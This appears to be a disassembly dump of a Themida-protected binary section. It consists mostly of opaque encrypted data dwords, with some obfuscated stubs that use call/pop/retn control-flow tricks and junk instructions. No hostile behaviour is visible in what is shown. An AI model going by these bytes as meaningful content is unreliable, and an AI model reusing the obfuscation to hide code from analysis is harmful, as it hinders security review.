dd 0A926F1E6h, 0A320EBECh, 9916E1F6h, 4F0BDCFBh, 9FB87D48h
dd 0D9865534h, 183FDF6Eh, 5C7B1A03h, 9BBC5E47h, 948353D0h
dd 9440D57Fh, 982061A7h, 1F26DB01h, 0B799BB54h, 35F37FB5h
dd 124C3C54h, 2DDB01C4h, 0B5FDA914h, 8CE3F051h, 4Ch, 0C511068Ah
dd 0E82E83D8h, 0D35970B2h, 0A999B1B8h, 0DB017674h, 3186737Ah
dd 176B5EBh, 9CB4BBDBh, 75FB35BFh, 1916DB01h, 76487EC4h
dd 6F2BDB01h, 22D09D68h, 7DE8031Bh, 0FFFB99D1h, 0D760E3h
dd 23450000h, 0A41CCF54h, 7ED05F7h, 130017C7h, 0E1734CF1h
dd 5902659Bh, 0AA646BD3h, 0CBB87257h, 59014F85h, 364E55D3h
dd 256BC059h, 0D35900EFh, 0F3D6EEF5h, 0EF6C3720h, 0C45D282Fh
dd 0F3296Fh, 0F2F9D359h, 95607721h, 0DCDB0C8h, 92FB1D0Ah
dd 13765A94h, 0A298BFD7h, 0D358A747h, 5A6F682Ah, 0EBB6A171h
dd 7F6CA8ADh, 4E3F082Ah, 0B8615707h, 15FBB0A0h, 0FA01DB01h
dd 4ADA3BE5h, 1B3CDC8Bh, 41622FFAh, 0C6F70E54h, 0F6FDE2ABh
dd 0A0DD009h, 4E490CF5h, 660F0D56h, 1DF58AFCh, 0D7Dh, 4F647324h
dd 8CA1B666h, 0CDE2F5A3h, 0C2136E4h, 52677023h, 7D208544h
dd 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h, 8B2A0A1Fh, 0A8F80F45h
dd 0CD7B15CBh, 0EE0314C7h, 2D425505h, 0C5110641h, 765D92D8h
dd 0AC63DB01h, 1CCEDEAh, 6F682F68h, 762D6757h, 2F48DB01h
dd 0FB5218C4h, 0B6A7E3FFh, 0A5000000h, 130017C7h, 4F1A3DDAh
dd 108D6A82h, 0F57F4A4Dh, 0D359759Ah, 0A5BADD7Dh, 32FD1ABCh
dd 0C6B363F4h, 19ACB80h, 0DDCAD1DBh, 0C9E1F6A4h, 0B71FF8A2h
dd 9C3C75CAh, 4B73637Bh, 51E2AC47h, 11DCFB9Ah, 0DB115744h
dd 0E1E2AC47h, 93CCB9DAh, 3A07D2C5h, 2BEA2322h, 0D912172Ch
dd 21041C3Bh, 0FE6D6572h, 2FFC668Fh, 0CB3C29Ah, 0B95A0000h
dd 0FCA0899Eh, 3BDDC6DBh, 781E071Ch, 0B2614A5Fh, 478290A5h
dd 8398BF5Eh, 0C3D8FF9Ah, 51A3DDAh, 485D7A1Ch, 4D83C968h
dd 53CBA8F7h, 89AB0BB9h, 0B6949ECCh, 1CFF173Bh, 4F715E79h
dd 7034CB6Ch, 92B9D17Eh, 0D9EEE9A9h, 0A372ABEDh, 41CE9B4h
dd 9B667121h, 0E9AB7C1Eh, 355623EEh, 6FF02A20h, 7EB7D359h
dd 21EEB9DEh, 0C18C8B50h, 59F9DCF4h, 9E40293Eh, 6131AE79h
dd 0CDE6AB76h, 6403D362h, 6B80A1B6h, 0A8012D65h, 9CF41Bh
dd 6F20000h, 7DB3F911h, 44D35970h, 5970C8FEh, 19C7CED3h
dd 0BE04F112h, 0DB018089h, 1700D88Fh, 0ED009F6h, 7B14F109h
dd 80AAE026h, 0A9B0DB01h, 8067A191h, 6982DB01h, 0D1852FEh
dd 5BE1E3F0h, 0DF000000h, 597081BAh, 62B2A3D3h, 0E19D3C75h
dd 2AE4F31Ch, 9F6A8BB7h, 66BBBAD2h, 9D686F2Dh, 13C8B8D0h
dd 19DB015Fh, 4114FD12h, 0C84D8B56h, 84D91F0Ch, 4BE2A97Ah
dd 8D3EC529h, 122A81C9h, 4D364B52h, 69A28F88h, 0B491A9AEh
dd 4835E176h, 52110502h, 0EF040BEAh, 891ABh, 1106ED00h
dd 592D8C5h, 0BDB0195h, 75AF3904h, 90DB0195h, 2A600C77h
dd 0EFE3F026h, 0Dh, 7080BAEDh, 0E713D359h, 0FFFFFCABh
dd 0C5110629h, 0A5E592D8h, 0E4EBDB01h, 0E52B8019h, 0DB01A6AFh
dd 38DDAEB5h, 0DD17071Fh, 0F8DB01A6h, 2A60A6FBh, 30DB01A6h
dd 8BF61129h, 0F037ABDFh, 4F66EE3h, 0C36C0000h, 50729462h
dd 0CDFB1829h, 7BD3B3C3h, 4162CD01h, 44908529h, 61F01157h
dd 0EFF6DB01h, 939DF8C6h, 56BF84C6h, 33C917Eh, 2C624057h
dd 3284C693h, 0CE14132Bh, 8C6EA075h, 4750033Ch, 9CB4A376h
dd 0AFE8D5DCh, 0BE24EFE8h, 0B22C9664h, 0DAF21381h, 0B256BFFDh
dd 6F10366Ch, 14353C8Ch, 88C1E127h, 0C0C7941Ah, 13F89AD3h
dd 1A8897CDh, 0C5969D94h, 0D0E50611h, 282037E7h, 33F54E37h
dd 0A2572FC4h, 4900000Ah, 917A8F88h, 0D6BFD4C3h, 17001502h
dd 563F5443h, 6D7B9087h, 8D8A495Ch, 0CFC88F78h, 1304D1BAh
dd 524515FEh, 78BE5D3Dh, 0CBA8F542h, 0C700AE48h, 0F7350017h
dd 83C9B61Eh, 0DB019C7Ah, 378C7980h, 733E59FEh, 3D73B9A6h
dd 43DB019Ch, 9441243Ch, 0D0856E83h, 3C72FCC7h, 12DB019Ch
dd 0DB01ACD8h, 0A6B1669Fh, 0A96DEA8Eh, 0C2D583BCh, 0E2185EF7h
dd 0E8DB01ACh, 0A9A8C0E1h, 0A9B3F663h, 8F5FCE2h, 430E09CFh
dd 0F7815E76h, 0E2A9B4BDh, 0A854BFD8h, 0EB07BDE2h, 2537h
dd 11063500h, 0E592D8C5h, 0EBDB0180h, 0A5706734h, 6FA5EBD8h
dd 75DB0181h, 27604D6Eh, 6E4B6374h, 1D96h, 72ABD800h, 0F69AB2A5h
dd 73C8B561h, 596FF72Dh, 0DEF6FDD3h, 96E099DFh, 0DFE6DB01h
dd 17C79414h, 0A61D0800h, 41D60CCBh, 9B869h, 99BE5F00h
dd 0DEF99B84h, 1F38E0C9h, 6275210Ah, 0A6B1644Dh, 5F468391h
dd 9D869BBCh, 0DFC8DDFAh, 1F081D3Ah, 6343587Fh, 0F4487EC4h
dd 0B44ECBA8h, 0C5110606h, 8D4A83D8h, 0F81FB98Ah, 5848602Dh
dd 0DB017ECFh, 8603CED5h, 0B8AEC3D4h, 24CB8FFh, 0EFDC3021h
dd 2CF7E0B6h, 20EBECAFh, 0F31A3253h, 1FBFCCEEh, 40E1DF87h
dd 43938428h, 293D3456h, 3563D405h, 1FD81E1Dh, 2509F519h
dd 9CE2A96Eh, 9F51966h, 2344656Ch, 1E39DB58h, 1EF65F09h
dd 217EEB31h, 0B184119Dh, 9D21356Bh, 52451811h, 50CBA87h
dd 1BBEF7E4h, 7D07E4FCh, 119D2143h, 2EDA455Eh, 0DA1BB264h
dd 167BDh, 74DA200h, 119D19D1h, 0D2B8D0D7h, 0D8C51106h
dd 0A94E6183h, 733E59FFh, 0E542ECA6h, 1205D2A3h, 83810AFAh
dd 8087DB00h, 9ABD5A93h, 3F0A0DC9h, 7D5A72h, 134C395Eh
dd 0E1F6A245h, 5D284916h, 0B43BD690h, 71D81003h, 0F42D3259h
dd 3A1D3522h, 376DB398h, 3DDB0166h, 0C04A1536h, 24CA107h
dd 0BE123413h, 805F8651h, 228DA8C0h, 0A6DC2277h, 0AC024D0Fh
dd 0E8AA8DA5h, 67AD02EFh, 24D0F31h, 0F1183037h, 0C6915608h
dd 4CE5B0D1h, 0F7BB1F7h, 0CA81024Dh, 0D1E90A0Dh, 984A28E1h
dd 0F5600D29h, 79AFF54Ah, 7F29984Ah, 0DD7D6078h, 1ABCA5BAh
dd 61F432FDh, 687EC4B1h, 6E29984Ah, 2B4D5267h, 798FF6C7h
dd 1EC2DA38h, 6D6A2D39h, 0C7B4D5A2h, 3FD3B081h, 0E4AFB631h
dd 7AB0F64Bh, 80313FD3h, 4E2586E0h, 0C2DFACCh, 89A3D91Fh
dd 0A2A9313Fh, 0E0F7A78Ah, 0FA1DBAF3h, 0D2BBE2h, 27F12A17h
dd 0B13B1830h, 313F8993h, 0D160CB78h, 0B011601h, 0A593C277h
dd 4750053Eh, 0F397AF7Ch, 8E59FE66h, 3401CCCBh, 0F4DDF213h
dd 0F3483522h, 93C277ADh, 5E767DA5h, 6971F781h, 85542BDBh
dd 8A4AC792h, 0B62BC28Dh, 0C9C46C4Bh, 80FCF5Eh, 4F480AF3h
dd 5D14684h, 0CF8AC318h, 0B3C0B0C8h, 0B933837Dh, 35599DB2h
dd 9B000000h, 0B4A372ABh, 0B71FF89Ch, 80D784CAh, 0D6DDDB01h
dd 3FE8B0E9h, 0E0AD789Fh, 292EEEBFh, 9C79915Eh, 455A7D1Fh
dd 13F72373h, 9DE3D000h, 0DB01866Fh, 76506E75h
dd 5CF689ABh, 1CD0BBBEh, 0B6712104h, 5926F1E6h, 0A3C4D388h
dd 0A373E48Eh, 784B70B6h, 4A51DB01h, 8CC2085Dh, 92DB0178h
dd 3B74738Bh, 0A0DC99Eh, 3C51723Fh, 0C6918653h, 3A790B2Dh
dd 84512341h, 874FC86Ch, 0C4B549Ah, 0B151E2AAh, 0A8400E78h
dd 66380901h, 0B8D9A671h, 0A02963EDh, 0CA4BE2A9h, 6AD71D0Ah
dd 31EA51A8h, 0A89B23F8h, 4EF27088h, 9A673253h, 0F0BBC282h
dd 5E791E57h, 0BEAEC693h, 0EA51DD84h, 74DA29Fh, 0EA51DDD1h
dd 9DE3D0D7h, 0EA51DD67h, 334E666Dh, 92561CC8h, 1AABF2AFh
dd 0A9000000h, 892C1106h, 74B451A5h, 0C107F415h, 0DB011414h
dd 7048131Ah, 29h, 6D89ABB2h, 3B82351Fh, 2E27CBE3h, 6BA4F9E6h
dd 385FFEA9h, 0ACF4C17h, 0E4D4EC0Dh, 0DB00F12Bh, 0C65F2A31h
dd 0B0C8CF8Dh, 1289ABCAh, 0C58EDA59h, 5B7C1EEFh, 99BE6043h
dd 0CBBAA8A1h, 0C8A0350Ch, 661h, 2B405708h, 70859242h
dd 0B1C6D187h, 0F00512C8h, 2E435407h, 59FCA920h, 9940293Eh
dd 0DB80697Eh, 1CBEA7BCh, 6706E6FBh, 0A8F0EB21h, 0A957F1CBh
dd 77E06DC3h, 4B6CB29Fh, 51DB0176h, 5D53214Ah, 7F9D4850h
dd 0B513E96h, 0A4F06966h, 5C9A656Ch, 0E82E1BFBh, 0AC98A58Dh
dd 669F8C93h, 3621F3B4h, 0D9FB0015h, 0F6111949h, 0E0F7A7BEh
dd 12C4A7BFh, 4DBDF339h, 0CC3AC99h, 92A4B4Ch, 0B853211h
dd 4E26BB2Ah, 5D9h, 0A3B8DF80h, 0E8FD1ABAh, 293E59FFh
dd 687D9A40h, 0A6BBDC7Fh, 0A1743198h, 0E1B8A1B6h, 23F8E1F6h
dd 64361F34h, 0DF7E5E73h, 0A8F06399h, 21CF69CBh, 80017C7h
dd 0CCBA63Fh, 9A8F67FCh, 41000005h, 89728790h, 0CEB7CCCBh
dd 0FF80D0Ah, 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h
dd 0B0CC9B2h, 4A4D0DF6h, 70B65535h, 0CBA8F03Ah, 0C7F8A640h
dd 0F7350017h, 83C9B61Eh, 0DB09E6FFh, 0CACD8DC6h, 0D6EBF2B2h
dd 367CD1h, 0E3DB09E7h, 0BD742235h, 0C1D9FA1Dh, 0EFDC381Dh
dd 0B1EE14A9h, 0F6A2DBE2h, 314916E1h, 159F6A71h, 0E2B1EEDBh
dd 8F4B1CBEh, 0CFF0BD88h, 0C0D78704h, 0AC1730F5h, 0B01B34CDh
dd 7F4E04h, 0BD93EBh, 23780000h, 0B1E6A7DDh, 8EA6ADE2h
dd 0E16CC3A8h, 5EB3A074h, 5970E218h, 0C9E1E8D3h, 766384CAh
dd 0F12ADB01h, 9E6B3621h, 96BFC686h, 888A8C8h, 0BD4DCAAAh
dd 8884177h, 1F4047AAh, 5CBBDD32h, 650C24C9h, 0C65556Dh
dd 12B1B100h, 0D09BBC5Bh, 72653203h, 67426451h, 0AB792F6Dh
dd 47686F2Ah, 3ADE145Ah, 0DDE4B1B1h, 0ADAAE8C5h, 16367C69h
dd 1CB95CB2h, 2FEF2815h, 682A1328h, 18B4776Fh, 0C85D1537h
dd 488F0h, 696E2F00h, 0AEA96B54h, 0EFE8B099h, 3225F1DAh
dd 7661341Dh, 2F765361h, 6D566B6Ch, 0AF98ADAAh, 0EFD8EDEAh
dd 3313282Fh, 0EF184E94h, 841ECBA8h, 7B6CD6h, 0ABAE0000h
dd 0E7B2A572h, 0F95E021Ah, 0A2DB301Dh, 0D9C9E1F6h, 0DB09E745h
dd 1E57444Bh, 5D465B7Ch, 91CF9ABDh, 1D635084h, 0E2B1F8A4h
dd 7DB6A3AAh, 27F4BFD8h, 63F4320Fh, 0A780C6B3h, 0ADEA5A19h
dd 0F1F5AEA6h, 1DB2E434h, 40845h, 0E9EEAF00h, 2E29EBD4h
dd 6F683019h, 0B2A5715Ah, 0F6E1B49Dh, 0AFF6D3E1h, 0EDD6EBECh
dd 2F182D2Ah, 6F586D6Ah, 0B393A8AFh, 0EE98CE14h, 49ECBA8h
dd 1056AB56h, 0D35970DAh, 2FFA1DBDh, 95ADB462h, 59706FA5h
dd 5FFD36D3h, 0F6302038h, 18D3596Fh, 0B1EAD73Fh, 819643E4h
dd 0F4494860h, 0ABA8E3D2h, 7189B628h, 9BBFD81h, 0FFC03DBh
dd 0F91106D6h, 0D061831Ch, 993598F7h, 0FB9B7E96h, 0EF35E4DCh
dd 21B6F484h, 38049h, 61762700h, 0A6B1634Ch, 0E7F0A891h
dd 2A2DE9D2h, 6E692C15h, 277E4B59h, 654E6374h, 0A790A5B2h
dd 0E7D0E5F2h, 2B0B2037h, 0EE10468Ch, 7C16CBA8h, 17C7CEh
dd 0B61EF735h, 34CA90C9h, 196A3EA2h, 8E597A28h, 64AAA9C1h
dd 0DB00D4F3h, 362E59F9h, 182F50F6h, 55618799h, 7495B66Bh
dd 8F884E87h, 6E3DF7C4h, 0F9B0367Bh, 0CDD2F911h, 0E3D0C794h
dd 88679Dh, 4E666DDBh, 8853295Eh, 4E490C25h, 8A8D5039h
dd 3C9081BFh, 17C73B27h, 0C28D8A50h, 8C09D4F5h, 8BE0CDCAh
dd 59700F45h, 540E15D3h, 377E86B6h, 598098D8h, 18BEA6AFh
dd 686F2EFFh, 0C2AFD09Dh, 18F3B7Ch, 6F3A41DBh, 7CA6B4D6h
dd 0DC777B6Eh, 69AD4C4h, 9CB5DB02h, 97CD8531h, 3E14E3F0h
dd 12000000h, 0D8C51106h, 0F14329B6h, 0D2EA9E89h, 33588DD3h
dd 575EDB01h, 1EBAF38Ch, 49612EF9h, 1331F59h, 0B6213ADBh
dd 0DEE1E90Bh, 334582A9h, 0D8A57067h, 0EB9F9FB7h, 2EE3F09Dh
dd 0ABh, 17C72Ch, 0F2E5B835h, 56E8AA27h, 1BE3391Bh, 905B7CB9h
dd 3F544313h, 73F0183Ah, 0CA4ABB8h, 38A904F4h, 0CA8CD359h
dd 0FCFB8CDh, 16FF3D08h, 1E8BD1BEh, 24DB0147h, 0D10E301Dh
dd 5F0B99D1h, 832D546Ch, 0F554292h, 0E2AB9E5Fh, 58E70426h
dd 0E25D81AFh, 116A0ACAh, 8213D993h, 2D665374h, 6B54696Eh
dd 16B7AFA8h, 0C3FC66C7h, 1FB562Eh, 0F1A20000h, 34E8D1E6h
dd 73250E23h, 0B0664F64h, 0EAA992A7h, 0FFCAD8EDh, 0CBE0F7A6h
dd 0B2037E2h, 4D627522h, 90A5B264h, 95CB11B0h, 9BCBA8ECh
dd 14C75301h, 5505EE03h, 6412D42h, 92D8C511h, 0DB01765Dh
dd 0EBECAC63h, 541BA20h, 0BF785E09h, 19B27D9Eh, 7487EC4h
dd 7B4EDB02h, 206FF35h, 0DDFE05DBh, 79BD5C5h, 0B9B6DB02h
dd 0EEB9DE80h, 83EE0921h, 0FF6893D7h, 0E466E3h, 0C7640000h
dd 0BE130017h, 59704278h, 8DC309D3h, 93D35970h, 0BFD7DE8Ch
dd 0E42749E2h, 0BB15AC58h, 0D87B5E76h, 0F6AF4BFh, 0F2D3594Eh
dd 1D223720h, 4E4C82C8h, 4B52D359h, 898E5033h, 2A0325BEh
dd 0FEF6F291h, 0BA9B3F57h, 8D12488Eh, 22F5D358h, 5F808735h
dd 789F3972h, 0CEE6F1A7h, 9C1C89CFh, 1B22DB00h, 66AC0106h
dd 0DB009C30h, 73172F36h, 0FF4532E2h, 0E2AB49F0h, 0C902EFF6h
dd 0CB200D0Ah, 0AB4A4F85h, 776032E2h, 83AAC2C9h, 0DC0E5C7Eh
dd 0FD409CD6h, 445302E5h, 6506B14Ch, 0C59D32FCh, 0DDh
dd 0AFC4D384h, 0EC0116C6h, 2D425503h, 6C819644h, 0B2C7D083h
dd 0DD8025A4h, 1DBCA5BAh, 5FFCE5FAh, 983A2338h, 0EB8A6A7Fh
dd 0A8EB6FA5h, 2DDB75CBh, 0EE0314C7h, 2D425505h, 328C0628h
dd 0A1014054h, 17C7A389h, 1EC98967h, 5958A2D8h, 0E7A1A8D3h
dd 8F55E94h, 58ED8CC2h, 6A8B92D3h, 47E4069Fh, 0ACC0F64h
dd 6032152Dh, 5FB86277h, 0FC358A77h, 0A16E395Eh, 10019989h
dd 7DB09h, 0F1E6B835h, 3423F3DCh, 494E0E47h, 0BC99B17Eh
dd 0A7BD0032h, 0A6110C56h, 3B504717h, 32E78052h, 0BC8D5A25h
dd 12DDFE19h, 7C9B4079h, 0E9CCE4B1h, 0E45F2A2Dh, 9D3DCC37h
dd 0F2388D7Ah, 56A7BDBCh, 31DFF89Fh, 2EB122Ah, 385A4750h
dd 855478A3h, 40FAC792h, 233B04DAh, 36E46h, 0DCB00000h
dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 6D683CF4h
dd 89000024h, 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 2404895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 51240C89h
dd 8879E468h, 0C1815920h, 75E4312Eh, 0DC2CF181h, 0C88991DCh
dd 81240C8Bh, 4C4h, 59916800h, 24890000h, 24048324h, 0EC835904h
dd 24048904h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h, 87000000h
dd 8B5C2404h
dd 89512404h, 4C181E1h, 83000000h, 0C8704C1h, 0DCE95C24h
dd 17FFF7F8h, 0B8C6A86Bh, 7B08645h, 0E0FFC503h, 6CE646Ch
dd 1BF1ED10h, 6F29BDD4h, 5AF33104h, 32135C99h, 3B099DF9h
dd 2A7025A1h, 105BCBB7h, 521BB947h, 71678D6h, 62061EE5h
dd 4FE5E820h, 1B62B42Dh, 71DF9333h, 74C1A654h, 20891AAFh
dd 6D80D335h, 692A03BBh, 56049B11h, 6B2D5599h, 4FF2E88Ch
dd 5612C69Bh, 78A83812h, 5A0F5B74h, 3185E6F3h, 46188AB8h
dd 1811E584h, 4AF22A6Fh, 456E6B4Dh, 8F32525h, 2AF6D35Bh
dd 653BA6CCh, 88398D8Dh, 526007B0h, 153D8589h, 505B07A8h
dd 880Fh, 61580000h, 17318D89h, 6A07A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F88E97C3h
dd 0EB9789F0h, 12E9837Eh, 25000000h, 0E644128Bh, 0D70167CDh
dd 7BFE3558h, 28537E3Bh, 5985C72Ch, 7C07A80Ah, 6A00005Fh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0D1ADC356h, 40CE076Eh, 0F2CF328h, 586h, 0DE816600h
dd 85C7BB1Ch, 7A80939h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_609C73
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_609C73 proc near ; CODE XREF: Themida_:00609C6Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_609C73 endp
; ---------------------------------------------------------------------------
xor eax, edi
cmp eax, 0FFAFEA61h
mov ch, 0FDh
or ch, [eax-6C217FF9h]
call dword ptr [ebp+7A81A99h]
and ah, 90h
push 0
call dword ptr [ebp+7A80D21h]
mov eax, eax
jmp short loc_609CCF
; ---------------------------------------------------------------------------
db 54h
dd 8F46C84Fh, 8CDC143h, 11E5416Ah, 3D263B83h, 0A4411B4Fh
dd 0B556D4EAh, 0B6CE257Eh, 0DA8EE952h, 6167CBCh
db 96h, 6Eh, 7Eh
; ---------------------------------------------------------------------------
loc_609CCF: ; CODE XREF: Themida_:00609CA5j
lea ecx, [ebp+7B08910h]
jz loc_609CE6
jg loc_609CE6
adc dx, 6555h
loc_609CE6: ; CODE XREF: Themida_:00609CD5j
; Themida_:00609CDBj
adc ax, 5412h
mov [ebp+7A81731h], ecx
mov [ebp+7A81CCDh], edx
mov dword ptr [ebp+7A80A59h], 6448h
push 0
push edx
call sub_609D0C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_609D0C proc near ; CODE XREF: Themida_:00609D04p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_609D0C endp
; ---------------------------------------------------------------------------
mov ds:0BD0183DBh, eax
mov cl, 29h
test al, 7
mov dword ptr [ebp+7A80939h], 0
mov edi, 72010309h
push dword ptr [ebp+7A805DDh]
pusha
push eax
mov ch, 0FAh
pop esi
mov ebx, edx
popa
call dword ptr [ebp+7A81A99h]
push 0
push eax
call sub_609D53
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_609D53 proc near ; CODE XREF: Themida_:00609D4Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_609D53 endp
; ---------------------------------------------------------------------------
db 1
dd 852BE192h, 7A82631h, 1D459D8Bh, 6A07A8h, 0D2195FFh
dd 0C08B07A8h, 64B369EBh, 0BFA4B4B5h, 0DA2375ACh, 685E42BFh
dd 68EFC268h, 2CC19C3h, 692F6F36h, 6CABE4F7h, 6A7EA0DEh
dd 3501D5E7h, 0A781357Dh, 4C1DF96Dh, 0BEC12234h, 8579FF0h
dd 16967E34h, 0A98DA3E8h, 63366E1Eh, 0BAAB6A6Ah, 0BECF7CE3h
dd 0D37869F6h, 7B562233h, 69FB7E13h, 0EF4FB10Bh, 0CF145C9Fh
dd 0F0A2D446h, 3AB9CBD3h, 8D49398Bh, 0B08A048Dh, 0D1BF0F07h
dd 17318D89h, 0BF6607A8h, 85C76F07h, 7A80A59h, 667Ch, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 37C35343h, 3C8C0C46h
dd 8B375F7Fh, 0A82FDD95h, 0F1BF0F07h, 3DB8166h, 3985C762h
dd 7A809h, 8B000000h, 0A83331B5h, 0BDB5FF07h, 6607A80Bh
dd 95FFD88Bh, 7A81A99h, 6880Fh, 0CF810000h, 320E2063h
dd 5718501h, 6A07A8h, 0D2195FFh, 0C08B07A8h, 95583EEBh
dd 46351013h, 0FBFB6092h, 0A0EC8334h, 0EB6062BCh, 0D19F1AE1h
dd 27E08h, 858FB8F4h, 283B3DBAh, 7405F024h, 0A2655B5Ch
dd 2CBBDA97h, 3B0F65E6h, 17A36AD2h, 0F3B9B204h, 0F17773EFh
dd 10E8h, 481A6000h, 0AADD8518h, 0C1712CBCh, 0DAA9A173h
dd 6810F9Dh, 89000000h, 0A81E3985h, 870F5A07h, 6, 24818D89h
dd 0C28107A8h, 634Fh, 0F8D18166h, 18A46858h, 8A5B0000h
dd 0E832FFCFh, 0Fh, 4777191Ch, 9367AF16h, 0DBD0BFF8h, 51A76ABEh
dd 0F585F5Eh, 689h, 398D8B00h, 8107A835h, 0E38E7CE8h, 0E982BE28h
dd 0F0810761h, 5552123Fh, 71B50352h, 5F07A80Bh, 70E6E881h
dd 0F501C06h, 1881h, 0DE800h, 21650000h, 1E0F8219h, 0F0125F74h
dd 668032E3h, 0CBC4F681h, 66028F5Fh, 83E998BEh, 800F02EAh
dd 0
dd 0BD894A4Ah, 7A826B5h, 7E850F4Bh, 66FFFFFFh, 0DD9BEE81h
dd 10EBh, 3 dup(0)
dd 0C08B0000h, 85F68160h, 0F9307B55h, 0F9BD8361h, 7A827h
dd 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h, 42Dh, 25858589h
dd 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h, 740007A8h
dd 0B8535017h, 42Dh, 25858589h, 9D8D07A8h, 7AAAD12h, 585BD3FFh
dd 0B609EA80h, 8BC08B22h, 0A83165B5h, 0E58D8B07h, 6007A81Ah
dd 1A799501h, 816607A8h, 6173F9F3h, 0F00F983h, 5484h, 38D0F00h
dd 66000000h, 8B64F38Bh, 2C3Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D78BA2FBh
dd 840FFF0Bh, 1Dh, 80D88160h, 3121FF72h, 0A828219Dh, 3F8B6107h
dd 0C032D18Bh, 23AAF3F5h, 0A80FC995h, 41493507h, 0AABA5350h
dd 0C652CADEh, 0A8061985h, 6A4707h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E03115C3h
dd 23319673h, 41BA6676h, 0A25F68CBh, 8B0FD63Bh, 4, 2806BA66h
dd 73243481h, 6A0AED2Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0ABF8C352h, 75EDBB0h
dd 0B5FF877Eh, 7A80CE1h, 6860Fh, 0B58B0000h, 7A821A1h
dd 781A858Dh, 958B07ABh, 7A80A71h, 9589D0FFh, 7A80A09h
dd 158589h, 5EBA07A8h, 0C665269Eh, 0A8061985h, 6A5307h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 918514C3h, 9531E4EDh, 7A817EDh, 0B8619B68h, 0F525023h
dd 38Ah, 0F28B6600h, 8E8310Fh, 62000000h, 20C6128Dh, 0F89FC44h
dd 8Ah, 585A5A00h, 61240481h, 6A64E009h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0ED94C353h
dd 0C0948569h, 0B9952380h, 0E907A804h, 5, 444681Ah, 0E1B5FF89h
dd 6A07A80Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0FA5C353h, 98Dh, 38E0F00h, 66000000h
dd 858DF18Bh, 7AB781Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 27C35040h, 723295A1h, 0EE9B589h, 0D0FF07A8h
dd 31E9958Bh, 858D07A8h, 7AB41FDh, 894FE280h, 0A8060D85h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0F6E66F37h, 91B856A1h, 0F281662Ah, 206A7C5Ah
dd 95FFFF6Ah, 7A8060Dh, 50414935h, 0A185C753h, 107A805h
dd 0C7000000h, 0A8317185h, 7, 69958B00h, 107A808h, 0A80F618Dh
dd 21858B07h, 8B07A830h, 0A834B595h, 0A36407h, 0F000000h
dd 74BED3B7h, 833EECDBh, 0A807CDBDh, 840F0007h, 46h, 8BF38B66h
dd 0A80C6985h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0A8DBAA92h, 7AA0BA16h
dd 5840FB3h, 0BA000000h, 586F673Fh, 0F681E08Bh, 256EEE5Ah
dd 810Fh, 0BD830000h, 7A8358Dh, 50850F00h, 29000004h, 0A810918Dh
dd 0D9958B07h, 0C607A825h, 0A8061985h, 9D315607h, 7A80791h
dd 4E8h, 0C530DF00h, 968CBAA9h, 505075FAh, 5810F52h, 0BE000000h
dd 4660413Ch, 0F28B310Fh, 448B585Ah, 0F18B0424h, 4489008Bh
dd 3580424h, 0A834C595h, 0E1B5FF07h, 0B07A80Ch, 0A8306195h
dd 1A858D07h, 6A07AB78h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 38F4C355h, 6880FDDh
dd 89000000h, 0A82C7185h, 89D0FF07h, 0A81CD18Dh, 0D18B9007h
dd 0F525050h, 5840F31h, 0BA000000h, 6003F30Bh, 0E990585Ah
dd 9, 7C867Eh, 15AC5FAEh, 318D8DCEh, 0E907A82Ch, 0Dh, 720825E8h
dd 874610EEh, 0BC40A204h, 0E8F0F82h, 60000000h, 2C2D8529h
dd 858B07A8h, 7A81711h, 60609161h, 0F456BB66h, 0B1615B51h
dd 575061BEh, 915A84B6h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 63C35242h, 876CA238h, 6E9h, 0BCA85100h
dd 6ACE45AAh, 0C0CE8004h, 31DCB968h, 0F28B668Eh, 47240481h
dd 0F571CE33h, 2681B5FFh, 958B07A8h, 7A8251Dh, 6AD0FFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 5EB253C3h, 0BA6695D8h, 0BE66BB1Bh, 0BD8BC1C8h, 7A82681h
dd 0D6B70F50h, 3C7F035Ah, 17559D89h, 0C78107A8h, 0F8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 11C35747h
dd 4781D567h, 0BEBBE7B0h, 15B2F0E5h, 0C1950BF5h, 0C707A806h
